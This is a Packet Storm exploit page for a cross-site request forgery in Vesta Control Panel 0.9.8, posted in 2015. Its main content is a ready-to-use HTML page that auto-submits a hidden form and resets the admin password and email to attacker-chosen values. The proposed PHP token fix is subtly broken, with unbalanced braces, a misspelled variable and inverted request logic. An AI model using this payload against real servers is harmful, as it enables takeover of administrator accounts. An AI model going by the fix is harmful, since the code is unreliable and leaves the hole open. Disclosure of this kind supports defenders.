exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Vesta Control Panel 0.9.8 Cross Site Request Forgery

Vesta Control Panel 0.9.8 Cross Site Request Forgery
Posted May 25, 2015
Authored by Ben khlifa Fahmi

Vesta Control Panel version 0.9.8 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | c2645b4a8ab272752f3327b66ce8adc1b4aa50f89c60265a5dccd5488f217b87

Vesta Control Panel 0.9.8 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Vesta Control Panel CSRF(change admin password)
# Date: 24-05-2015
# Exploit Author: Ben Khlifa Fahmi
# Vendor Homepage: https://vestacp.com/
# Software Link: https://vestacp.com/pub/vst-install.sh
# Version: 0.9.8(amd64)
# Tested on: ubuntu trusty 14.04

Description:
---------------------------------------------------------------
The vulnerability exist on the page /edit/user/index.php

The VESTA CP is vulnerable to CSRF Where an attacker can change "admin" password
by sending to already logged in user , once the victim visit the page the user password will changed
to the one has been set by attacker.


Exploit Code :
<html>
<head><title>Victim will redirect auto</title></head>
<body onload="document.forms[0].submit()">
<form>
<form id="vstobjects" method="post" name="v_edit_user" action="https://[target]:8083/edit/user/?user=admin">
<input type="hidden" name="v_user" value="admin" >
<input type="hidden" name="v_username" value="admin">
<input type="hidden" name="v_password" value="[hacker pass]">
<input type="hidden" name="v_email" value="[hacker mail]">
<input type="hidden" name="v_package" value="default" />
<input type="hidden" name="v_language" value="ar" />
<input type="hidden" name="v_fname" value="System">
<input type="hidden" name="v_lname" value="Administrator">
<input type="hidden" name="v_shell" value="bash" />
<input type="hidden" value="ns1.localhost.ltd">
<input type="hidden" value="ns2.localhost.ltd">
<input type="hidden" name="v_ns3">
<input type="hidden" name="v_ns4">
<input type="submit" class="button" name="save" value="Save">
</form>
</body>
</html>

Impact : Critical as an attacker can change admin email , password, dns ....

Solution :
add this code to the page /edit/user/index.php after the session start

$token = uniqid(mt_rand(), true);
if(!isset($_POST)){
$_SESSION['token'] = $token;
}
if(isset($_POST['token']))
if(!($_SESSION['token'] === $_POST['token'])){
header('location: /error/');
}
}


and at the end of page add
$_SESSION['token'] = $toke;

also don't forget to add this html just in the form on page :
<form id="vstobjects" method="post" name="v_edit_user">
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>"/>



Greetz to : ArabOUG Cyber Security Team, Tunisian Whitehat Security , Tunisian Agency of Internet Team , BenCure CERT Team(Ben Yahia Mohamed, Ben Salem Salma, Ben khlifa Fahmi(me), Moez Chakchouk, Ben Mne Tarek) Amine Zemzemi , Saif Bejaoui , Mohamed Amen Allah Bechikh , Youssef Warheni , Manel Nouali , Ben Gharbia Jihed , and all my friends
And a special Greetz to my fiancé <3
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close